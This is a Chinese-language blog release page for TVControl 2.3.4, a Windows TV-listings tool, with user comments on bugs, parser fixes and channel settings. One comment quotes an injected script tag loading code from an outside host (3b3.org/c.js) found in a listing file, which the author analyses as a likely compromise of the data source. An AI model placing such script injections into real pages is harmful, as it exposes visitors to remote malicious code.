下載:tvctrl234.install.exe (120KB)

v2.3.4 (2009/03/27)
- 節目來源HTML改格式配合修改 TvAgent.wsf。(serate)
- 全日節目表點擊節目名稱,可直接上 Google 搜尋。(stanwu.tw)
- 如果已經下載過的節目資料,在程式開啟時就直接顯示。(sean.tw)
All of Sean‧All for You

v2.3.4 (2009/03/27)
- 節目來源HTML改格式配合修改 TvAgent.wsf。(serate)
- 全日節目表點擊節目名稱,可直接上 Google 搜尋。(stanwu.tw)
- 如果已經下載過的節目資料,在程式開啟時就直接顯示。(sean.tw)
52 個回應:
感謝大大,節目表正常了
如果是使用預設(更新節目表)
4/14應該是來源沒有抓完整
而不是程式有問題喔
因為用agent自己抓的話
4/14是完整的,再次感謝!
忘了提醒大大
[說明]->[此程式首頁]& [關於此程式] 的路徑都還是:
http://sean.o4u.com/ap/TVControl/
與您現在新網址的路徑不同喔
Thank you very much!!
想請教一下大大
最近我使用的節目表在分類的地方
不是有一個加減號可以把分類縮小嗎
現在不知道為什麼不見了.....
而且重灌也沒用
想請問一下怎麼解決
請問vista64bit開啟此程式的時候會出現無法使用TrayEr.ocx元件..
這該如何解決呢?
TVcontrol 在vista 64bit安裝執行似乎不正常,請問有方法解決嗎!
Vista 目前不支援。
等我有空時會會寫一個可以在 Vista 下執行的 Windows Vista Gadgetes。
您好
目前是否無法正常使用了
設定中的三台伺服器都連不到
calendar好像有錯
8/7 (今天)應該不是庚申月
應該還是己未月
感謝sean lin大的修改,
節目表又可以正常更新了,
有需要的人,可以把小弟的主機也加入更新喔!
http://www.justmall.com.tw/TVAgent/
這個程式太方便了,超感謝的。只是不知道沒有其它地區的節啊(大陸)。
請問一下,我安裝後,電腦顯示無法開啟TVControl.hta。是因為我少安裝什麼公用程式了嗎?
Vista下安裝後無法開啟程式
這是一個很好的工具 強力推薦!
分享AVerTV 不能設定為always on top, 不然TVContol會有一點問題, 關掉就好
另外請問這個程式是用VB寫的嗎?是否可以開放他人加入程式碼維護?
今天的節目表(20090308.txt)內含有XSS指令
Ex:
00:25 就是愛玩美 (重)<script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script>
不知作者大人可否更新一下程式碼以防範這類攻擊~
Re: serate <4346299942840666465>
是被駭了沒錯! 感謝您的提醒。
但駭的怪怪的,它的 <script>標籤被改成HTML註解<!-- 是發輝不了任何作用。
我評估一下有兩種可能:
1. 在資料來源網站(http://www.atmovies.com.tw/)就已經被駭。
2. 在下載提供者的網站(http://www.justmall.com.tw/TVAgent/)被駭。
最有可能的是第1點,因為這樣的指令一個就夠了,不需要重覆那麼多次。
我在抓節目資料時是抓分散在好幾頁的資料,不小心一起抓回來。
第2點不可能的原因是,攻擊程式沒那麼笨、也沒必要去改不會發輝作用的文字檔。
可能是 atmovies 發現被駭增加網站安全,從明日9日開紿就沒發現了。而且我用自己的 TvAgent 重抓也沒有了。
還請大家放心,這個檔不管有沒有被防毒軟體掃到,都發輝不了任何作用。
請問這軟體有開放原始碼嗎?
自己也想寫一個這種程式
但是不知道該怎麼做...
Re: JYH <3840046580008883976>
原始碼就在安裝目錄裡...
大大您好:
目前節目來源格式好像有點變動。
我開啟debug模式,發現各個類別
的節目表分檔有內容(有稍稍不同)
但是被parse後整合成當天檔案
內容卻是空白(只有 EOF)。
可否請您撥空看一下呢。感謝!
-umc
補充上述tvagent.wsf問題:
以前抓的:
action=tvdata&tvtimeid=LCH21200804142300&tday={ts '2008-04-15 00:00:00'}&channel_id=CH21
這兩天抓的:
action=tvdata&tvtimeid=LCH18200903202305&tday=2009-03-21&channel_id=CH18
結果生成 2009-03-21x.txt 內容為空白
Thanks
-umc
不知作者是不是沒空
在作者更新前,急的人可以先自己改:
把TvAgent.wsf第165行正規表示式後半段的
<font .+?<font\s[^>]+>(.*?)<\/font>[\w\W\s]+?<\/td>
改成
<\/font></a><font\s[^>]+>(.*?)<\/font><\/font>[\w\W\s]+?<\/td>
感謝 serate 大大的幫忙
已經可以正常解析並存檔
(正規化好難,看到就頭大)
也再次感謝原作的好程式
有空記得多來看看回應喔
小弟一直推廣您的程式
因為實在太好用了
-umc
感謝 serate 大的幫忙
雖然可以正常解析並存檔
但是節目表資訊不正確
都是早一天的資訊耶
Re: serate <3698894172034498253>
感謝您! Sean 最近有點小忙。
tvcontrol 程式碼是開放的,大家可以起合作。
http://code.google.com/p/tvcontrol/source/list
如果會使用 TortoiseSVN 歡迎加入 Project。
寫 Email 給 stanwu.tw小老鼠gmail.com 或 sean.tw小老鼠gmail.com 都可以。
等 Sean 連絡上節目下載主機提供者,請他們更新 TvAgent 程式再來釋放新的版本。
給樓上同好:
將 300 行附近的 Function GetHtml()
下兩行的 URL 變數
改成如下:
URL = "http://tv.atmovies.com.tw/tv/attv.cfm?action=todaytime&tday="&strDay&"&"&"group_id="&CH
因為擷取網只有點變動,所以這裡也需要變動一下
以免一直抓到同一天,事實上不是晚一天
而是你先前抓的都是同一天,供您參考
-umc
補充上述被截掉的第二行:
action=todaytime&tday="&strDay&"&"&"group_id="&CH
-umc
ps.若版大有空改版,
可否加入一功能,
就是點中某一節目
直接開啟詳細介紹的連結
這樣就不用再自己開 i.e.
而左鍵本來用於選台
可否自定義改為上述功能
再次感謝!
還是被截掉:
再是一次,這次從 tday=開始接
"&strDay&"&"&"group_id="&CH
-umc
我照著樓上大大的改法下去修正
可是還是抓不到節目資訊..T_T
幫umc兄修一下,這次直接來整行好了,怕有些人會少copy一些符號字元:
URL = "http://tv.atmovies.com.tw/tv/attv.cfm?action=todaytime&tday="&strDay&"&group_id="&CH
話說我呆呆用了好幾天都沒注意到網址問題,只想說當日節目表重抓就OK,還以為是@movies一直放錯後幾日的節目表...囧
偏偏最近Discovery有很多節目我都很愛看,結果幾乎都因此錯過了,嘖...
謝謝 serate 大幫忙
要不是上面同好有疑問
我也納悶了好幾天呢!!
至於錯過的節目也是discovery
我要看的是 "汽車大排檔"...
謝謝 umc大跟 serate大的幫忙
節目表資訊正常了
感謝以上更新,說真的,沒有這個程式我就很少看電視 XD
請問這個程式能不能在php上執行,或是有可供參考的轉換文件呢?
嗯, 小弟就是提供那個節目表下載伺服器的謎之音...
程式一直有正常的排程運作, 小弟也沒去看裡面的資料是否有正常運作...
今天沒事整理一下伺服器才發現節目表都資料內容都只有EOF...SO
所以剛好就上GOOGLE搜尋到這裡晃晃是不是有好的解決方案...
剛剛有試過其他網友的修正程式碼, 目前看來似乎已經正常運作了...
http://nug.org/tvguide2/
http://www.nug.org/tvguide2/
現在應該可以正常運作了...
忘了提一下, 假使以後有發生節目表的問題, 也麻煩發一封信給小弟, 小弟的聯絡方式在 TV Control 應該有註明(
如果 Sean 沒有刪掉的話...:P...)
Re: 匿名 <9111899079485611524>
嗯嗯,所以以後要去PCDVD找你嗎?
因為你好像不怎麼收 Gmail?
Gmail也收, 不過不常上去就是了
你MSN不是可以直接通知我? @@
很感激這個程式的開發維護者,它讓我很好查閱電視節目表。
請問一下:
ET_TODAY = 東森新聞S,東森新聞S台,東森財經台,ETtoday,EtToday 財經生活台
此頻道一直沒有節目表,請問如何設定?感謝。
to 狂貓:
將 channels.ini 中,修改如下
ET_TODAY = 東森財經新聞台
但前提是你您下載來源,他的
tvagent.ini 也要改成如上
若您是用 tvagent.wsf 自己下載
則只要改 tvagent.ini 就可以了
再來要顯示在節目表上
要去修改 channel.ini (沒有s)
舉例:
40 東森財經新聞台 (40可隨意)
若你想改變顯示成,如"東森today"
則 channels.ini 就要改成
ET_TODAY = 東森財經新聞台,東森today (前面不可去掉)
希望對您有幫助
整理一下需要更新的節目名稱
---------------------------
ERA_COM = 年代綜合台
ET_TODAY = 東森財經新聞台
PTS_HIHD = Hi_HD
NGW = NG Wild
---------------------------
來源變動,我們就要跟著更改
不然會找不到,而沒有下載到
當然也可以請Sean大改版一下
直接掃描來源才去產生最新的
channels.ini,tvagent.ini
就可以避免困擾(要求太多,嘻)
也感謝加入google搜尋功能
這樣一來,變的好方便喔。
怎麼一直以來都沒有人反應每到星期一
節目表的資料就特別少 =.=
結果...只好把DATA中的資料全刪了
再自己點TVAgent,自己跑一趟節目表
希望sean大能在下一版時修正這個問題
Re: umc <3764411994107256577>
感謝您整理的資料!
我下個版本會修改。
Re: 匿名 <511567785081845564>
可能是 @movie 在星期一上班時才補齊全部的節目。我在考慮以後節目下載以每週為單位,一次抓足一星期。但不知他們星期一幾點才把全部的節目上架。希望有網友可以幫我觀查。
Sean 大出現了,好棒!
關於一次抓足一週節目表
弟發現較完整的只有三日內
而您前一版有判斷是否大於K數
但這一版好像拿掉了
所以只有三日內的較有參考價值
另發現一個有趣現象
20090419.txt中的 "東森洋片台"
居然不會整合進來
明明2209-0419-M.txt 有資料
可是到了 20090420.txt 就正常
雖然只是一天的怪現象
但提供給您 debug 參考
感謝您,祝順利愉快
上述 "東森洋片台" 的詭異狀況
在 2009-04-23.txt 又發生了
也就是明明有資料,但txt檔沒有
懷疑是否當天是第一個節目有
"【", "】", "☆"等特殊符號
在作祟!? 可否請版大有空看看
謝謝
在vista64中執行時
出現
這個網頁的指令碼發生錯誤
行 516
字元 8
錯誤 'length'是null 或不是一個物件
程式碼 0
URL: file:///c:/program%20Files%20(x86)/TVControl/TVControl.hta
立即更新線上節目表後
出現
這個網頁的指令碼發生錯誤
行 498
字元 2
錯誤 在此內容中不允許操作
程式碼 0
URL: file:///c:/program%20Files%20(x86)/TVControl/TVControl.hta
Re: TsungWen <4102222143120443998>
這個程式目前還沒考慮支援Vista。
小弟在WIN 7 X64也跟樓上有相同的問題.但有個暫時的解決
方法.
XP跟WIN雙系統都安裝節目程式.在WIN 7上執行安裝在XP上
的節目程式..
C:\Program Files\TVControl\data內的文字檔刪除.
接上一樓更正..C:\Program Files\TVControl\data內
的TXT檔內的第1個字.把像鑽石的圖案(貼這裡變成 � )
刪除就正常了.往後每日更新的TXT檔也是如此..
Re: 匿名 <3952677455830333006>
感謝!看來是BOM的問題。
等小弟有W7環境一定會馬上解決這個問題。或者有程式能力的人也可先幫弟解決。
應該修改 download.wsf 那支程式,在 Function DownloadDay 讓 stm.SaveToFile 不寫BOM(可能要查一下 ADODB.Stream 的文件)。
要不然就改 TVControl.hta 在 function getFromFile 在讀完內容後濾掉 BOM。
Sea大您好
不知道有沒有興趣在原有程式中加入中華電信MOD上的頻道的節目表來服務mod的族群,如果有意願的話,小弟願意一起幫忙~~
張貼意見